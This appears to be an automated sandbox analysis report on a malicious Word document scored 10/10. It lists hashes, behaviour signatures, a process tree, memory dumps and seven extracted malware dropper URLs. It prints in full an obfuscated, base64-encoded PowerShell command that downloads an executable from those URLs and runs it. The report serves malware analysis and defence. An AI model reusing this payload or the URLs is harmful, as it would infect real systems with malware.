Analysis

  • max time kernel
    122s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 11:13

General

  • Target

    E1-20200928_221400.doc

  • Size

    136KB

  • MD5

    5fa2b4dd277ef21fbdbab9b7a97b4652

  • SHA1

    dff5340070b7cbd47d853795f563519050aa0c13

  • SHA256

    165342a5aaa39fa2d3604b42e20248d5707ac17ba7e910455a13166712313542

  • SHA512

    f6be824006dbb9270e40290de2ecee31c4bbc50c661301732bddb54413240e5adba61aaff4ae72d7408dab660dc7779308d730feab00e389ca112a23ea59ca29

  • SSDEEP

    3072:oDW9ZcHT9yEgaLE47f4xlP83+ushr2i/K/x0:o8ZcB7Lp4X8DYL/+x0

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://electronicsvibes.com/wp-includes/3F/

exe.dropper

https://dubai-homes.ae/wp-admin/HX8/

exe.dropper

http://metalurgicanunes.com.br/wp-admin/a0I/

exe.dropper

http://greensync.com.br/aspnet_clientOld/w/

exe.dropper

http://rydchile.cl/wp-content/rm/

exe.dropper

http://www.sprxmy.top/wp-content/jV1/

exe.dropper

http://microsite.buniyad.info/ynbgl/kj/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E1-20200928_221400.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2044
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD JABVAHoAaQA0AGwAcAAwAD0AKAAoACcATwAnACsAJwBuAHQAeQBqACcAKQArACcAdQBxACcAKQA7ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVQBTAGUAUgBwAHIAbwBmAEkATABlAFwAawB3AGUAcgBVADAAeABcAFQAZgBqAHEAbAAxAFgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAFUAUgBJAHQAeQBgAFAAcgBPAGAAVABvAEMAYABvAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAnACsAJwAyACwAIAAnACsAJwB0AGwAcwAxADEALAAnACkAKwAnACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQATwA2ADgAYwAzAG0AdQAgAD0AIAAoACcAVgAnACsAKAAnADYAJwArACcAcgAzACcAKQArACgAJwByAGMAZwAnACsAJwBrACcAKQApADsAJABZADgAdgA4AHUAMgA1AD0AKAAnAFEAawAnACsAJwBkAGUAJwArACgAJwAyACcAKwAnAGoAYQAnACkAKQA7ACQARwBhAHkAeAAxAGYAYQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBLACcAKwAnAHcAZQByAHUAMAB4AHsAMAAnACsAJwB9AFQAZgBqAHEAbAAxAHgAewAwAH0AJwApAC0ARgAgAFsAQwBIAGEAcgBdADkAMgApACsAJABPADYAOABjADMAbQB1ACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAVgA4AGcAcABfAHMAZwA9ACgAJwBRACcAKwAoACcAdwAnACsAJwByAGoAJwApACsAKAAnADYAJwArACcANAAxACcAKQApADsAJABXAG0AcAByADUAXwBiAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAEUAdAAuAHcAZQBiAGMATABJAEUAbgBUADsAJABNAHYAcABkAHMAZgB4AD0AKAAoACcAaAB0AHQAcAAnACsAJwA6ACcAKwAnAC8ALwBlACcAKQArACcAbAAnACsAKAAnAGUAYwB0AHIAJwArACcAbwAnACkAKwAnAG4AJwArACgAJwBpAGMAcwAnACsAJwB2AGkAYgBlACcAKQArACcAcwAuACcAKwAoACcAYwBvAG0ALwB3AHAALQBpACcAKwAnAG4AYwBsAHUAZAAnACsAJwBlAHMALwAnACkAKwAnADMARgAnACsAKAAnAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAcABzACcAKwAnADoALwAvAGQAJwApACsAKAAnAHUAJwArACcAYgBhAGkAJwApACsAJwAtACcAKwAoACcAaABvACcAKwAnAG0AZQBzAC4AYQBlACcAKwAnAC8AJwApACsAKAAnAHcAJwArACcAcAAtACcAKwAnAGEAZABtAGkAbgAnACkAKwAnAC8AJwArACgAJwBIAFgAOAAnACsAJwAvACcAKQArACgAJwAqACcAKwAnAGgAdAB0AHAAJwArACcAOgAvAC8AbQBlAHQAJwApACsAJwBhACcAKwAoACcAbAB1AHIAZwBpAGMAJwArACcAYQBuACcAKwAnAHUAbgBlACcAKwAnAHMALgBjAG8AbQAuACcAKwAnAGIAJwArACcAcgAvAHcAcAAtAGEAZAAnACsAJwBtAGkAbgAnACsAJwAvAGEAMABJAC8AJwArACcAKgBoACcAKwAnAHQAdABwADoALwAnACsAJwAvACcAKwAnAGcAcgBlACcAKQArACgAJwBlAG4AJwArACcAcwAnACkAKwAoACcAeQBuAGMALgBjACcAKwAnAG8AbQAuAGIAJwArACcAcgAnACsAJwAvACcAKQArACgAJwBhAHMAcAAnACsAJwBuAGUAJwApACsAJwB0AF8AJwArACgAJwBjACcAKwAnAGwAaQBlAG4AdAAnACsAJwBPAGwAZAAvACcAKQArACcAdwAnACsAKAAnAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAJwArACcAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AcgAnACkAKwAoACcAeQBkAGMAaAAnACsAJwBpACcAKQArACgAJwBsAGUALgBjACcAKwAnAGwAJwApACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtACcAKwAnAGMAbwAnACkAKwAoACcAbgB0ACcAKwAnAGUAbgB0AC8AJwApACsAJwByAG0AJwArACcALwAnACsAKAAnACoAaAB0AHQAcAAnACsAJwA6AC8AJwArACcALwB3ACcAKQArACcAdwAnACsAKAAnAHcAJwArACcALgBzAHAAcgB4AG0AJwApACsAJwB5ACcAKwAoACcALgB0AG8AcAAvAHcAcAAnACsAJwAtACcAKwAnAGMAJwArACcAbwBuAHQAZQAnACsAJwBuAHQALwBqAFYAJwArACcAMQAvACoAaAB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAKAAnAC8AbQAnACsAJwBpACcAKQArACcAYwAnACsAJwByAG8AJwArACcAcwBpACcAKwAnAHQAZQAnACsAKAAnAC4AYgAnACsAJwB1AG4AJwApACsAKAAnAGkAeQAnACsAJwBhAGQALgAnACkAKwAoACcAaQAnACsAJwBuAGYAJwApACsAKAAnAG8ALwAnACsAJwB5AG4AYgBnACcAKwAnAGwAJwApACsAJwAvAGsAJwArACcAagAvACcAKQAuACIAUwBQAGAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAHAAbwB0AG8AcABhAD0AKAAnAFMAJwArACgAJwBwAHcAJwArACcAagBuACcAKQArACcAcwBkACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFoAbgBwADcAbwB3AHUAIABpAG4AIAAkAE0AdgBwAGQAcwBmAHgAKQB7AHQAcgB5AHsAJABXAG0AcAByADUAXwBiAC4AIgBkAG8AYAB3AE4ATABvAGEARABmAGkAYABsAEUAIgAoACQAWgBuAHAANwBvAHcAdQAsACAAJABHAGEAeQB4ADEAZgBhACkAOwAkAEwAZAB5AGYAYQA3AG8APQAoACgAJwBTADcAagAwACcAKwAnAGoAJwApACsAJwB2AG4AJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAEcAYQB5AHgAMQBmAGEAKQAuACIATABgAEUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMANgA5ADcAOQApACAAewAuACgAJwBJACcAKwAnAG4AJwArACcAdgBvAGsAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABHAGEAeQB4ADEAZgBhACkAOwAkAE8AZwBsADYAcwBrAG8APQAoACcATgAnACsAKAAnADEAdgA3ACcAKwAnADkAbAAnACkAKwAnAGUAJwApADsAYgByAGUAYQBrADsAJABXADQAMgBlAHUAcwBjAD0AKAAoACcAWgA0ACcAKwAnAHMAZgBjACcAKQArACcAbgAnACsAJwBlACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVAB6ADQAbAA0ADEAMAA9ACgAJwBIAGoAJwArACcAcgAnACsAKAAnAGYANQAnACsAJwB1ADMAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2780

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2780-54-0x000000001B700000-0x000000001B9E2000-memory.dmp

      Filesize

      2.9MB

    • memory/2780-55-0x0000000001F80000-0x0000000001F88000-memory.dmp

      Filesize

      32KB

    • memory/2908-8-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-48-0x0000000005C60000-0x0000000005D60000-memory.dmp

      Filesize

      1024KB

    • memory/2908-6-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-7-0x0000000005E60000-0x0000000005F60000-memory.dmp

      Filesize

      1024KB

    • memory/2908-16-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-29-0x0000000005C60000-0x0000000005D60000-memory.dmp

      Filesize

      1024KB

    • memory/2908-26-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-20-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-18-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-19-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-17-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-13-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-14-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-15-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-12-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-11-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-10-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-9-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-0-0x000000002FBD1000-0x000000002FBD2000-memory.dmp

      Filesize

      4KB

    • memory/2908-38-0x0000000005C60000-0x0000000005D60000-memory.dmp

      Filesize

      1024KB

    • memory/2908-5-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-47-0x0000000005C60000-0x0000000005D60000-memory.dmp

      Filesize

      1024KB

    • memory/2908-42-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-46-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-41-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-40-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-2-0x0000000070C5D000-0x0000000070C68000-memory.dmp

      Filesize

      44KB

    • memory/2908-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2908-39-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-37-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-33-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-32-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-31-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-30-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-56-0x0000000070C5D000-0x0000000070C68000-memory.dmp

      Filesize

      44KB

    • memory/2908-57-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-58-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-62-0x0000000005C60000-0x0000000005D60000-memory.dmp

      Filesize

      1024KB

    • memory/2908-63-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2908-65-0x0000000005C60000-0x0000000005D60000-memory.dmp

      Filesize

      1024KB

    • memory/2908-64-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB